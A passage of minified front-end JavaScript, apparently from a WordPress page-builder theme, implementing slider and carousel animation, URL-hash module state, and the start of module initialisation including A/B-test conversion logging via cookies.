class=\"".concat(settings.control_active_class,"\""):'',">").concat(i,"</a>");}if($et_slider.find('video').length>0){settings.controls_class+=' et-pb-controllers-has-video-tag';}controls_html="<div class=\"".concat(settings.controls_class,"\">").concat(controls_html,"</div>");if(''==settings.append_controls_to)$et_slider.append(controls_html);else $(settings.append_controls_to).append(controls_html);if(settings.controls_below)$et_slider_controls=$et_slider.parent().find(settings.controls);else $et_slider_controls=$et_slider.find(settings.controls);$et_slider_controls.on('click.et_pb_simple_slider',function(){if($et_slider.et_animation_running)return false;$et_slider.et_slider_move_to($(this).index());return false;});}if(settings.use_carousel&&et_slides_number>1){for(var i=1;i<=et_slides_number;i++){var slide_id=i-1;var image_src=$et_slide.eq(slide_id).data('image')!==undefined?"url(".concat($et_slide.eq(slide_id).data('image'),")"):'none';carousel_html+="<div class=\"et_pb_carousel_item ".concat(1===i?settings.control_active_class:'',"\" data-slide-id=\"").concat(slide_id,"\">")+"<div class=\"et_pb_video_overlay\" href=\"#\" style=\"background-image: ".concat(image_src,";\">")+'<div class="et_pb_video_overlay_hover"><a href="#" class="et_pb_video_play"></a></div>'+'</div>'+'</div>';}carousel_html="".concat('<div class="et_pb_carousel">'+'<div class="et_pb_carousel_items">').concat(carousel_html,"</div>")+'</div>';$et_slider.after(carousel_html);$et_slider_carousel_controls=$et_slider.siblings('.et_pb_carousel').find(settings.carousel_controls);$et_slider_carousel_controls.on('click.et_pb_simple_slider',function(){if($et_slider.et_animation_running)return false;var $this=$(this);$et_slider.et_slider_move_to($this.data('slide-id'));return false;});}if(settings.slideshow&&et_slides_number>1){$et_slider.on('mouseenter.et_pb_simple_slider',function(){if($et_slider.hasClass('et_slider_auto_ignore_hover')){return;}$et_slider.addClass('et_slider_hovered');if(typeof et_slider_timer!=='undefined'){clearTimeout(et_slider_timer);}}).on('mouseleave.et_pb_simple_slider',function(){if($et_slider.hasClass('et_slider_auto_ignore_hover')){return;}$et_slider.removeClass('et_slider_hovered');et_slider_auto_rotate();});}et_slider_auto_rotate();function et_slider_auto_rotate(){if(stop_slider){return;}// Slider animation can be dynamically paused with et_pb_pause_slider // Make sure animation will start when class is removed by checking clas existence every 2 seconds. if($et_slider.hasClass('et_pb_pause_slider')){setTimeout(function(){et_slider_auto_rotate();},2000);return;}if(settings.slideshow&&et_slides_number>1&&!$et_slider.hasClass('et_slider_hovered')){et_slider_timer=setTimeout(function(){$et_slider.et_slider_move_to('next');},settings.slideshow_speed);}}$et_slider.et_slider_destroy=function(){// Clear existing timer / auto rotate if(typeof et_slider_timer!=='undefined'){clearTimeout(et_slider_timer);}stop_slider=true;// Deregister all own existing events $et_slider.off('.et_pb_simple_slider');// Removing existing style from slide(s) $et_slider.find('.et_pb_slide').css({'z-index':'',display:'',opacity:''});// Removing existing classnames from slide(s) $et_slider.find('.et-pb-active-slide').removeClass('et-pb-active-slide');$et_slider.find('.et-pb-moved-slide').removeClass('et-pb-moved-slide');// Removing DOM that was added by slider $et_slider.find('.et-pb-slider-arrows, .et-pb-controllers').remove();$et_slider.siblings('.et_pb_carousel, .et-pb-controllers').remove();// Remove references $et_slider.removeData('et_pb_simple_slider');};function et_stop_video(active_slide){var $et_video;var et_video_src;// if there is a video in the slide, stop it when switching to another slide if(active_slide.has('iframe').length){$et_video=active_slide.find('iframe');et_video_src=$et_video.attr('src');$et_video.attr('src','');$et_video.attr('src',et_video_src);}else if(active_slide.has('video').length){if(!active_slide.find('.et_pb_section_video_bg').length){$et_video=active_slide.find('video');$et_video[0].pause();}}}// Remove inline width and height added by mediaelement.js function et_fix_slide_video_height(){var $this_slider=$et_slider;var $slide_video_container=$this_slider.find('.et-pb-active-slide .et_pb_slide_video');var slide_video_container_height=parseFloat($slide_video_container.height());var slide_wp_video_shortcode=$this_slider.find('.et_pb_slide_video .wp-video-shortcode');slide_wp_video_shortcode.css({width:'',height:''});if(!isNaN(slide_video_container_height)){$slide_video_container.css('marginTop',"-".concat(slide_video_container_height/2,"px"));}}$et_slider.et_fix_slider_content_images=et_fix_slider_content_images;function et_fix_slider_content_images(){var $this_slider=$et_slider;var $slide_image_container=$this_slider.find('.et-pb-active-slide .et_pb_slide_image');var $slide_image=$slide_image_container.find('img');var $slide_video_container=$this_slider.find('.et-pb-active-slide .et_pb_slide_video');var $slide=$slide_image_container.closest('.et_pb_slide');var $slider=$slide.closest('.et_pb_slider');var slide_height=parseFloat($slider.innerHeight());var image_height=parseFloat(slide_height*0.8);var slide_image_container_height=parseFloat($slide_image_container.height());var slide_video_container_height=parseFloat($slide_video_container.height());if(!isNaN(image_height)){$slide_image_container.find('img').css('maxHeight',"".concat(image_height,"px"));slide_image_container_height=parseInt($slide_image_container.height());}if(!isNaN(slide_image_container_height)&&$slide.hasClass('et_pb_media_alignment_center')){$slide_image_container.css('marginTop',"-".concat(slide_image_container_height/2,"px"));// Add load jQuery event only once. if(!$slide_image.data('hasLoadEvent')){$slide_image.data('hasLoadEvent',true);// It will fix the image position when lazy loading image is enabled. $slide_image.on('load',function(){slide_image_container_height=parseFloat($slide_image_container.height());$slide_image_container.css('marginTop',"-".concat(slide_image_container_height/2,"px"));});}}if(!isNaN(slide_video_container_height)){$slide_video_container.css('marginTop',"-".concat(slide_video_container_height/2,"px"));}}function et_get_bg_layout_color($slide){if($slide.hasClass('et_pb_bg_layout_light')){return'et_pb_bg_layout_light';}return'et_pb_bg_layout_dark';}// fix the appearance of some modules inside the post slider function et_fix_builder_content(){if(is_post_slider){setTimeout(function(){var $et_pb_circle_counter=$('.et_pb_circle_counter');var $et_pb_number_counter=$('.et_pb_number_counter');window.et_fix_testimonial_inner_width();if($et_pb_circle_counter.length){window.et_pb_reinit_circle_counters($et_pb_circle_counter);}if($et_pb_number_counter.length){window.et_pb_reinit_number_counters($et_pb_number_counter);}window.et_reinit_waypoint_modules();},1000);}}if(window.et_load_event_fired){'function'===typeof et_fix_slider_height&&et_fix_slider_height($et_slider);}else{$et_window.on('load',function(){'function'===typeof et_fix_slider_height&&et_fix_slider_height($et_slider);});}$et_window.on('resize.et_simple_slider',function(){et_fix_slider_height($et_slider);});$et_slider.et_slider_move_to=function(direction){$et_slide=$et_slider.closest_descendent(settings.slide);var $active_slide=$et_slide.eq(et_active_slide);$et_slider.et_animation_running=true;$et_slider.removeClass('et_slide_transition_to_next et_slide_transition_to_previous').addClass("et_slide_transition_to_".concat(direction));$et_slider.find('.et-pb-moved-slide').removeClass('et-pb-moved-slide');if('next'===direction||'previous'===direction){if('next'===direction){et_active_slide=et_active_slide+1<et_slides_number?et_active_slide+1:0;}else{et_active_slide=et_active_slide-1>=0?et_active_slide-1:et_slides_number-1;}}else{if(et_active_slide===direction){// When video is added, slider needs to be reloaded, so inline styles need to be added again $et_slider.find('.et-pb-inactive-slide').css({'z-index':'',display:'',opacity:0});$active_slide.css({display:'block',opacity:1}).data('slide-status','active');$et_slider.et_animation_running=false;return;}et_active_slide=direction;}$et_slider.attr('data-active-slide',$et_slide.eq(et_active_slide).data('slide-id'));if(typeof et_slider_timer!=='undefined'){clearTimeout(et_slider_timer);}var $next_slide=$et_slide.eq(et_active_slide);$et_slider.trigger('slide',{current:$active_slide,next:$next_slide});if(typeof $active_slide.find('video')[0]!=='undefined'&&typeof $active_slide.find('video')[0].player!=='undefined'){$active_slide.find('video')[0].player.pause();}if(typeof $next_slide.find('video')[0]!=='undefined'&&typeof $next_slide.find('video')[0].player!=='undefined'){$next_slide.find('video')[0].player.play();}var $active_slide_video=$active_slide.find('.et_pb_video_box iframe');if($active_slide_video.length){var active_slide_video_src=$active_slide_video.attr('src');// Removes the "autoplay=1" parameter when switching slides // by covering three possible cases: // "?autoplay=1" at the end of the URL active_slide_video_src=active_slide_video_src.replace(/\?autoplay=1$/,'');// "?autoplay=1" followed by another parameter active_slide_video_src=active_slide_video_src.replace(/\?autoplay=1&(amp;)?/,'?');// "&autoplay=1" anywhere in the URL active_slide_video_src=active_slide_video_src.replace(/&(amp;)?autoplay=1/,'');// Delays the URL update so that the cross-fade animation's smoothness is not affected setTimeout(function(){$active_slide_video.attr({src:active_slide_video_src});},settings.fade_speed);// Restores video overlay $active_slide_video.parents('.et_pb_video_box').next('.et_pb_video_overlay').css({display:'block',opacity:1});}$et_slider.trigger('simple_slider_before_move_to',{direction:direction,next_slide:$next_slide});$et_slide.each(function(){$(this).css('zIndex',1);});// add 'slide-status' data attribute so it can be used to determine active slide in Visual Builder $active_slide.css('zIndex',2).removeClass('et-pb-active-slide').addClass('et-pb-moved-slide').data('slide-status','inactive');$next_slide.css({display:'block',opacity:0}).addClass('et-pb-active-slide').data('slide-status','active');et_fix_slide_video_height();et_fix_slider_content_images();et_fix_builder_content();if(settings.use_controls)$et_slider_controls.removeClass(settings.control_active_class).eq(et_active_slide).addClass(settings.control_active_class);if(settings.use_carousel&&$et_slider_carousel_controls)$et_slider_carousel_controls.removeClass(settings.control_active_class).eq(et_active_slide).addClass(settings.control_active_class);if(!settings.tabs_animation){$next_slide.animate({opacity:1},et_fade_speed);$active_slide.addClass('et_slide_transition').css({display:'list-item',opacity:1}).animate({opacity:0},et_fade_speed,function(){var active_slide_layout_bg_color=et_get_bg_layout_color($active_slide);var next_slide_layout_bg_color=et_get_bg_layout_color($next_slide);// Builder dynamically updates the slider options, so no need to set `display: none;` because it creates unwanted visual effects. if(_utils.isBuilder){$(this).removeClass('et_slide_transition');}else{$(this).css('display','none').removeClass('et_slide_transition');}et_stop_video($active_slide);$et_slider.removeClass(active_slide_layout_bg_color).addClass(next_slide_layout_bg_color);$et_slider.et_animation_running=false;$et_slider.trigger('simple_slider_after_move_to',{next_slide:$next_slide});});}else{$next_slide.css({display:'none',opacity:0});$active_slide.addClass('et_slide_transition').css({display:'block',opacity:1}).animate({opacity:0},et_fade_speed,function(){$(this).css('display','none').removeClass('et_slide_transition');$next_slide.css({display:'block',opacity:0}).animate({opacity:1},et_fade_speed,function(){$et_slider.et_animation_running=false;$et_slider.trigger('simple_slider_after_move_to',{next_slide:$next_slide});$(window).trigger('resize');});});}if($next_slide.find('.et_parallax_bg').length){// reinit parallax on slide change to make sure it displayed correctly window.et_pb_parallax_init($next_slide.find('.et_parallax_bg'));}et_slider_auto_rotate();};};$.fn.et_pb_simple_slider=function(options){return this.each(function(){var slider=$.data(this,'et_pb_simple_slider');return slider||new $.et_pb_simple_slider(this,options);});};var et_hash_module_seperator='||';var et_hash_module_param_seperator='|';function process_et_hashchange(hash){// Bail early when hash is empty if(!hash.length){return;}var modules;var module_params;var element;if(hash.indexOf(et_hash_module_seperator,0)!==-1){modules=hash.split(et_hash_module_seperator);for(var i=0;i<modules.length;i++){module_params=modules[i].split(et_hash_module_param_seperator);element=module_params[0];module_params.shift();if(element.length&&$("#".concat(element)).length){$("#".concat(element)).trigger({type:'et_hashchange',params:module_params});}}}else{module_params=hash.split(et_hash_module_param_seperator);element=module_params[0];module_params.shift();if(element.length&&$("#".concat(element)).length){$("#".concat(element)).trigger({type:'et_hashchange',params:module_params});}}}function et_set_hash(module_state_hash){var module_id=module_state_hash.split(et_hash_module_param_seperator)[0];if(!$("#".concat(module_id)).length){return;}if(window.location.hash){var hash=window.location.hash.substring(1);// Puts hash in variable, and removes the # character var new_hash=[];if(hash.indexOf(et_hash_module_seperator,0)!==-1){var modules=hash.split(et_hash_module_seperator);var in_hash=false;for(var i=0;i<modules.length;i++){var element=modules[i].split(et_hash_module_param_seperator)[0];if(element===module_id){new_hash.push(module_state_hash);in_hash=true;}else{new_hash.push(modules[i]);}}if(!in_hash){new_hash.push(module_state_hash);}}else{var module_params=hash.split(et_hash_module_param_seperator);var element=module_params[0];if(element!==module_id){new_hash.push(hash);}new_hash.push(module_state_hash);}hash=new_hash.join(et_hash_module_seperator);}else{hash=module_state_hash;}var yScroll=document.body.scrollTop;window.location.hash=hash;document.body.scrollTop=yScroll;}$.et_pb_simple_carousel=function(el,options){var settings=$.extend({slide_duration:500},options);var $et_carousel=$(el);var $carousel_items=$et_carousel.find('.et_pb_carousel_items');var $the_carousel_items=$carousel_items.find('.et_pb_carousel_item');$et_carousel.et_animation_running=false;$et_carousel.addClass('container-width-change-notify').on('containerWidthChanged',function(event){set_carousel_columns($et_carousel);set_carousel_height($et_carousel);});$carousel_items.data('items',$the_carousel_items.toArray());$et_carousel.data('columns_setting_up',false);$carousel_items.prepend("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-slider-arrow et-pb-arrow-prev" href="#">'+'<span>').concat(et_pb_custom.previous,"</span>")+'</a><a class="et-pb-slider-arrow et-pb-arrow-next" href="#">'+"<span>".concat(et_pb_custom.next,"</span>")+'</a></div>');set_carousel_columns($et_carousel);set_carousel_height($et_carousel);var $et_carousel_next=$et_carousel.find('.et-pb-arrow-next');var $et_carousel_prev=$et_carousel.find('.et-pb-arrow-prev');$et_carousel.on('click','.et-pb-arrow-next',function(){if($et_carousel.et_animation_running)return false;$et_carousel.et_carousel_move_to('next');return false;});$et_carousel.on('click','.et-pb-arrow-prev',function(){if($et_carousel.et_animation_running)return false;$et_carousel.et_carousel_move_to('previous');return false;});// swipe support requires et-jquery-touch-mobile $et_carousel.on('swipeleft',function(){$et_carousel.et_carousel_move_to('next');});$et_carousel.on('swiperight',function(){$et_carousel.et_carousel_move_to('previous');});function set_carousel_height($the_carousel){var carousel_items_width=$the_carousel_items.width();var carousel_items_height=$the_carousel_items.height();// Account for borders when needed if($the_carousel.parent().hasClass('et_pb_with_border')){carousel_items_height=$the_carousel_items.outerHeight();}$carousel_items.css('height',"".concat(carousel_items_height,"px"));}function set_carousel_columns($the_carousel){var columns=3;var $carousel_parent=$the_carousel.parents('.et_pb_column:not(".et_pb_specialty_column")');if($carousel_parent.hasClass('et_pb_column_4_4')||$carousel_parent.hasClass('et_pb_column_3_4')||$carousel_parent.hasClass('et_pb_column_2_3')){if($et_window.width()>=768){columns=4;}}else if($carousel_parent.hasClass('et_pb_column_1_4')){if($et_window.width()<=480&&$et_window.width()>=980){columns=2;}}else if($carousel_parent.hasClass('et_pb_column_3_5')){columns=4;}else if($carousel_parent.hasClass('et_pb_column_1_5')||$carousel_parent.hasClass('et_pb_column_1_6')){columns=2;}if(columns===$carousel_items.data('portfolio-columns')){return;}if($the_carousel.data('columns_setting_up')){return;}$the_carousel.data('columns_setting_up',true);// store last setup column $carousel_items.removeClass("columns-".concat($carousel_items.data('portfolio-columns')));$carousel_items.addClass("columns-".concat(columns));$carousel_items.data('portfolio-columns',columns);// kill all previous groups to get ready to re-group if($carousel_items.find('.et-carousel-group').length){$the_carousel_items.appendTo($carousel_items);$carousel_items.find('.et-carousel-group').remove();}// setup the grouping var the_carousel_items=$carousel_items.data('items');var $carousel_group=$('<div class="et-carousel-group active">').appendTo($carousel_items);$the_carousel_items.data('position','');if(the_carousel_items.length<=columns){$carousel_items.find('.et-pb-slider-arrows').hide();}else{$carousel_items.find('.et-pb-slider-arrows').show();}for(var position=1,x=0;x<the_carousel_items.length;x++,position++){if(x<columns){$(the_carousel_items[x]).show();$(the_carousel_items[x]).appendTo($carousel_group);$(the_carousel_items[x]).data('position',position);$(the_carousel_items[x]).addClass("position_".concat(position));}else{position=$(the_carousel_items[x]).data('position');$(the_carousel_items[x]).removeClass("position_".concat(position));$(the_carousel_items[x]).data('position','');$(the_carousel_items[x]).hide();}}$the_carousel.data('columns_setting_up',false);}/* end set_carousel_columns() */$et_carousel.et_carousel_move_to=function(direction){var $active_carousel_group=$carousel_items.find('.et-carousel-group.active');var items=$carousel_items.data('items');var columns=$carousel_items.data('portfolio-columns');$et_carousel.et_animation_running=true;var left=0;$active_carousel_group.children().each(function(){$(this).css({position:'absolute',left:"".concat(left,"px")});left+=$(this).outerWidth(true);});// Avoid unwanted horizontal scroll on body when carousel is slided $('body').addClass('et-pb-is-sliding-carousel');// Deterimine number of carousel group item var carousel_group_item_size=$active_carousel_group.find('.et_pb_carousel_item').length;var carousel_group_item_progress=0;if('next'==direction){var $next_carousel_group;var current_position=1;var next_position=1;var active_items_start=items.indexOf($active_carousel_group.children().first()[0]);var active_items_end=active_items_start+columns;var next_items_start=active_items_end;var next_items_end=next_items_start+columns;$next_carousel_group=$('<div class="et-carousel-group next" style="display: none;left: 100%;position: absolute;top: 0;">').insertAfter($active_carousel_group);$next_carousel_group.css({width:"".concat($active_carousel_group.innerWidth(),"px")}).show();// this is an endless loop, so it can decide internally when to break out, so that next_position // can get filled up, even to the extent of an element having both and current_ and next_ position for(var x=0,total=0;;x++,total++){if(total>=active_items_start&&total<active_items_end){$(items[x]).addClass("changing_position current_position current_position_".concat(current_position));$(items[x]).data('current_position',current_position);current_position++;}if(total>=next_items_start&&total<next_items_end){$(items[x]).data('next_position',next_position);$(items[x]).addClass("changing_position next_position next_position_".concat(next_position));if(!$(items[x]).hasClass('current_position')){$(items[x]).addClass('container_append');}else{$(items[x]).clone(true).appendTo($active_carousel_group).hide().addClass('delayed_container_append_dup').attr('id',"".concat($(items[x]).attr('id'),"-dup"));$(items[x]).addClass('delayed_container_append');}next_position++;}if(next_position>columns){break;}if(x>=items.length-1){x=-1;}}var sorted=$carousel_items.find('.container_append, .delayed_container_append_dup').sort(function(a,b){var el_a_position=parseInt($(a).data('next_position'));var el_b_position=parseInt($(b).data('next_position'));return el_a_position<el_b_position?-1:el_a_position>el_b_position?1:0;});$(sorted).show().appendTo($next_carousel_group);var left=0;$next_carousel_group.children().each(function(){$(this).css({position:'absolute',left:"".concat(left,"px")});left+=$(this).outerWidth(true);});$active_carousel_group.animate({left:'-100%'},{duration:settings.slide_duration,progress:function progress(animation,_progress){if(_progress>carousel_group_item_progress/carousel_group_item_size){carousel_group_item_progress++;// Adding classnames on incoming/outcoming carousel item $active_carousel_group.find(".et_pb_carousel_item:nth-child(".concat(carousel_group_item_progress,")")).addClass('item-fade-out');$next_carousel_group.find(".et_pb_carousel_item:nth-child(".concat(carousel_group_item_progress,")")).addClass('item-fade-in');}},complete:function complete(){$carousel_items.find('.delayed_container_append').each(function(){left=$("#".concat($(this).attr('id'),"-dup")).css('left');$(this).css({position:'absolute',left:left});$(this).appendTo($next_carousel_group);});$active_carousel_group.removeClass('active');$active_carousel_group.children().each(function(){var position=$(this).data('position');current_position=$(this).data('current_position');$(this).removeClass("position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position));$(this).data('position','');$(this).data('current_position','');$(this).hide();$(this).css({position:'',left:''});$(this).appendTo($carousel_items);});// Removing classnames on incoming/outcoming carousel item $carousel_items.find('.item-fade-out').removeClass('item-fade-out');$next_carousel_group.find('.item-fade-in').removeClass('item-fade-in');// Remove horizontal scroll prevention class name on body $('body').removeClass('et-pb-is-sliding-carousel');$active_carousel_group.remove();}});var next_left=$active_carousel_group.width()+parseInt($the_carousel_items.first().css('marginRight').slice(0,-2));$next_carousel_group.addClass('active').css({position:'absolute',top:'0px',left:"".concat(next_left,"px")});$next_carousel_group.animate({left:'0%'},{duration:settings.slide_duration,complete:function complete(){$next_carousel_group.removeClass('next').addClass('active').css({position:'',width:'',top:'',left:''});$next_carousel_group.find('.changing_position').each(function(index){var position=$(this).data('position');current_position=$(this).data('current_position');next_position=$(this).data('next_position');$(this).removeClass("container_append delayed_container_append position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position," next_position next_position_").concat(next_position));$(this).data('current_position','');$(this).data('next_position','');$(this).data('position',index+1);});$next_carousel_group.children().css({position:'',left:''});$next_carousel_group.find('.delayed_container_append_dup').remove();$et_carousel.et_animation_running=false;}});}else if('previous'==direction){var $prev_carousel_group;var current_position=columns;var prev_position=columns;var columns_span=columns-1;var active_items_start=items.indexOf($active_carousel_group.children().last()[0]);var active_items_end=active_items_start-columns_span;var prev_items_start=active_items_end-1;var prev_items_end=prev_items_start-columns_span;$prev_carousel_group=$('<div class="et-carousel-group prev" style="display: none;left: 100%;position: absolute;top: 0;">').insertBefore($active_carousel_group);$prev_carousel_group.css({left:"-".concat($active_carousel_group.innerWidth(),"px"),width:"".concat($active_carousel_group.innerWidth(),"px")}).show();// this is an endless loop, so it can decide internally when to break out, so that next_position // can get filled up, even to the extent of an element having both and current_ and next_ position for(var _x=items.length-1,_total=items.length-1;;_x--,_total--){if(_total<=active_items_start&&_total>=active_items_end){$(items[_x]).addClass("changing_position current_position current_position_".concat(current_position));$(items[_x]).data('current_position',current_position);current_position--;}if(_total<=prev_items_start&&_total>=prev_items_end){$(items[_x]).data('prev_position',prev_position);$(items[_x]).addClass("changing_position prev_position prev_position_".concat(prev_position));if(!$(items[_x]).hasClass('current_position')){$(items[_x]).addClass('container_append');}else{$(items[_x]).clone(true).appendTo($active_carousel_group).addClass('delayed_container_append_dup').attr('id',"".concat($(items[_x]).attr('id'),"-dup"));$(items[_x]).addClass('delayed_container_append');}prev_position--;}if(prev_position<=0){break;}if(0==_x){_x=items.length;}}var sorted=$carousel_items.find('.container_append, .delayed_container_append_dup').sort(function(a,b){var el_a_position=parseInt($(a).data('prev_position'));var el_b_position=parseInt($(b).data('prev_position'));return el_a_position<el_b_position?-1:el_a_position>el_b_position?1:0;});$(sorted).show().appendTo($prev_carousel_group);var left=0;$prev_carousel_group.children().each(function(){$(this).css({position:'absolute',left:"".concat(left,"px")});left+=$(this).outerWidth(true);});$active_carousel_group.animate({left:'100%'},{duration:settings.slide_duration,progress:function progress(animation,_progress2){if(_progress2>carousel_group_item_progress/carousel_group_item_size){var group_item_nth=carousel_group_item_size-carousel_group_item_progress;// Add fadeIn / fadeOut className to incoming/outcoming carousel item $active_carousel_group.find(".et_pb_carousel_item:nth-child(".concat(group_item_nth,")")).addClass('item-fade-out');$prev_carousel_group.find(".et_pb_carousel_item:nth-child(".concat(group_item_nth,")")).addClass('item-fade-in');carousel_group_item_progress++;}},complete:function complete(){$carousel_items.find('.delayed_container_append').reverse().each(function(){left=$("#".concat($(this).attr('id'),"-dup")).css('left');$(this).css({position:'absolute',left:left});$(this).prependTo($prev_carousel_group);});$active_carousel_group.removeClass('active');$active_carousel_group.children().each(function(){var position=$(this).data('position');current_position=$(this).data('current_position');$(this).removeClass("position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position));$(this).data('position','');$(this).data('current_position','');$(this).hide();$(this).css({position:'',left:''});$(this).appendTo($carousel_items);});// Removing classnames on incoming/outcoming carousel item $carousel_items.find('.item-fade-out').removeClass('item-fade-out');$prev_carousel_group.find('.item-fade-in').removeClass('item-fade-in');// Remove horizontal scroll prevention class name on body $('body').removeClass('et-pb-is-sliding-carousel');$active_carousel_group.remove();}});var prev_left=-1*$active_carousel_group.width()-parseInt($the_carousel_items.first().css('marginRight').slice(0,-2));$prev_carousel_group.addClass('active').css({position:'absolute',top:'0px',left:"".concat(prev_left,"px")});$prev_carousel_group.animate({left:'0%'},{duration:settings.slide_duration,complete:function complete(){$prev_carousel_group.removeClass('prev').addClass('active').css({position:'',width:'',top:'',left:''});$prev_carousel_group.find('.delayed_container_append_dup').remove();$prev_carousel_group.find('.changing_position').each(function(index){var position=$(this).data('position');current_position=$(this).data('current_position');prev_position=$(this).data('prev_position');$(this).removeClass("container_append delayed_container_append position_".concat(position," ")+"changing_position current_position current_position_".concat(current_position," prev_position prev_position_").concat(prev_position));$(this).data('current_position','');$(this).data('prev_position','');position=index+1;$(this).data('position',position);$(this).addClass("position_".concat(position));});$prev_carousel_group.children().css({position:'',left:''});$et_carousel.et_animation_running=false;}});}};};$.fn.et_pb_simple_carousel=function(options){return this.each(function(){var carousel=$.data(this,'et_pb_simple_carousel');return carousel||new $.et_pb_simple_carousel(this,options);});};function et_init_audio_modules(){if('undefined'===typeof jQuery.fn.mediaelementplayer){return;}getOutsideVB('.et_audio_container').each(function(){var $this=jQuery(this);if($this.find('.mejs-container').first().length>0){return;}$this.find('audio').mediaelementplayer(window._wpmejsSettings);});}$(function(){/** * Provide event listener for plugins to hook up to. */$(window).trigger('et_pb_before_init_modules');var $et_pb_slider=$('.et_pb_slider');var $et_pb_tabs=$('.et_pb_tabs');var $et_pb_video_section=$('.et_pb_section_video_bg');var $et_pb_newsletter_button=$('.et_pb_newsletter_button');var $et_pb_newsletter_input=$('.et_pb_newsletter_field .input');var $et_pb_filterable_portfolio=$('.et_pb_filterable_portfolio');var $et_pb_fullwidth_portfolio=$('.et_pb_fullwidth_portfolio');var $et_pb_gallery=$('.et_pb_gallery');var $et_pb_countdown_timer=$('.et_pb_countdown_timer');var $et_post_gallery=$('.et_post_gallery');var $et_lightbox_image=$('.et_pb_lightbox_image');var $et_pb_map=$('.et_pb_map_container');var $et_pb_circle_counter=$('.et_pb_circle_counter');var $et_pb_number_counter=$('.et_pb_number_counter');var $et_pb_parallax=$('.et_parallax_bg');var $et_pb_shop=$('.et_pb_shop');var $et_pb_post_fullwidth=$('.single.et_pb_pagebuilder_layout.et_full_width_page');var $et_pb_background_layout_hoverable=$('[data-background-layout][data-background-layout-hover]');var et_is_mobile_device=navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/)!==null||'standalone'in window.navigator&&!window.navigator.standalone;var et_is_ipad=navigator.userAgent.match(/iPad/);var et_is_ie9=navigator.userAgent.match(/MSIE 9.0/)!==null;var et_all_rows=$('.et_pb_row');var $et_container=window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used?$('body'):et_all_rows;var et_container_width=$et_container.width();var et_is_vertical_fixed_nav=$('body').hasClass('et_vertical_fixed');var et_is_rtl=$('body').hasClass('rtl');var et_hide_nav=$('body').hasClass('et_hide_nav');var et_header_style_left=$('body').hasClass('et_header_style_left');var $top_header=$('#top-header');var $main_header=$('#main-header');var $main_container_wrapper=$('#page-container');var $et_transparent_nav=$('.et_transparent_nav');var $et_pb_first_row=$('body.et_pb_pagebuilder_layout .et_pb_section:first-child');var $et_main_content_first_row=$('#main-content .container:first-child');var $et_main_content_first_row_meta_wrapper=$et_main_content_first_row.find('.et_post_meta_wrapper').first();var $et_main_content_first_row_meta_wrapper_title=$et_main_content_first_row_meta_wrapper.find('h1');var $et_main_content_first_row_content=$et_main_content_first_row.find('.entry-content').first();var $et_single_post=$('body.single-post');var etRecalculateOffset=false;var et_header_height;var et_header_modifier;var et_header_offset;var et_primary_header_top;var $et_header_style_split=$('.et_header_style_split');var $et_top_navigation=$('#et-top-navigation');var $logo=$('#logo');var $et_sticky_image=$('.et_pb_image_sticky');var $et_pb_counter_amount=$('.et_pb_counter_amount');var $et_pb_carousel=$('.et_pb_carousel');var $et_menu_selector=window.et_pb_custom&&window.et_pb_custom.is_divi_theme_used?$('ul.nav'):$('.et_pb_fullwidth_menu ul.nav');var et_pb_ab_bounce_rate=window.et_pb_custom&&window.et_pb_custom.ab_bounce_rate*1000;var et_pb_ab_logged_status={};var et_animation_breakpoint='';var recaptchaApi=(0,_get.default)(window,'etCore.api.spam.recaptcha');$.each(et_pb_custom.ab_tests,function(index,test){et_pb_ab_logged_status[test.post_id]={read_page:false,read_goal:false,view_goal:false,click_goal:false,con_goal:false,con_short:false};});var grid_containers=$('.et_pb_grid_item').parent().get();var $hover_gutter_modules=$('.et_pb_gutter_hover');window.et_pb_slider_init=function($this_slider){var et_slider_settings={fade_speed:700,slide:!$this_slider.hasClass('et_pb_gallery')?'.et_pb_slide':'.et_pb_gallery_item'};if($this_slider.hasClass('et_pb_slider_no_arrows'))et_slider_settings.use_arrows=false;if($this_slider.hasClass('et_pb_slider_no_pagination'))et_slider_settings.use_controls=false;if($this_slider.hasClass('et_slider_auto')){var et_slider_autospeed_class_value=/et_slider_speed_(\d+)/g;et_slider_settings.slideshow=true;var et_slider_autospeed=et_slider_autospeed_class_value.exec($this_slider.attr('class'));et_slider_settings.slideshow_speed=null===et_slider_autospeed?10:et_slider_autospeed[1];}if($this_slider.parent().hasClass('et_pb_video_slider')){et_slider_settings.controls_below=true;et_slider_settings.append_controls_to=$this_slider.parent();setTimeout(function(){$('.et_pb_preload').removeClass('et_pb_preload');},500);}if($this_slider.hasClass('et_pb_slider_carousel'))et_slider_settings.use_carousel=true;$this_slider.et_pb_simple_slider(et_slider_settings);};var $et_top_menu=$et_menu_selector;var et_parent_menu_longpress_limit=300;var et_parent_menu_longpress_start;var et_parent_menu_click=true;var et_menu_hover_triggered=false;// log the conversion if visitor is on Thank You page and comes from the Shop module which is the Goal if($('.et_pb_ab_shop_conversion').length&&typeof et_pb_get_cookie_value('et_pb_ab_shop_log')!=='undefined'&&''!==et_pb_get_cookie_value('et_pb_ab_shop_log')){var shop_log_data=et_pb_get_cookie_value('et_pb_ab_shop_log').split('_');var page_id=shop_log_data[0];var subject_id=shop_log_data[1];var test_id=shop_log_data[2];et_pb_ab_update_stats('con_goal',page_id,subject_id,test_id);// remove the cookie after conversion is logged et_pb_set_cookie(0,'et_pb_ab_shop_log=true');}// log the conversion if visitor is on page with tracking shortcode if($('.et_pb_ab_split_track').length){$('.et_pb_ab_split_track').each(function(){var tracking_test=$(this).data('test_id');var cookies_name="et_pb_ab_shortcode_track_".concat(tracking_test);if(typeof et_pb_get_cookie_value(cookies_name)!=='undefined'&&''!==et_pb_get_cookie_value(cookies_name)){var track_data=et_pb_get_cookie_value(cookies_name).split('_');var _page_id=track_data[0];var _subject_id=track_data[1];var _test_id=track_data[2];et_pb_ab_update_stats('con_short',_page_id,_subject_id,_test_id);// remove the cookie after conversion is logged et_pb_set_cookie(0,"".concat(cookies_name,"=true"));}});}// Handle gutter hover options if($hover_gutter_modules.length>0){$hover_gutter_modules.each(function(){var $thisEl=$(this);var originalGutter=$thisEl.data('original_gutter');var 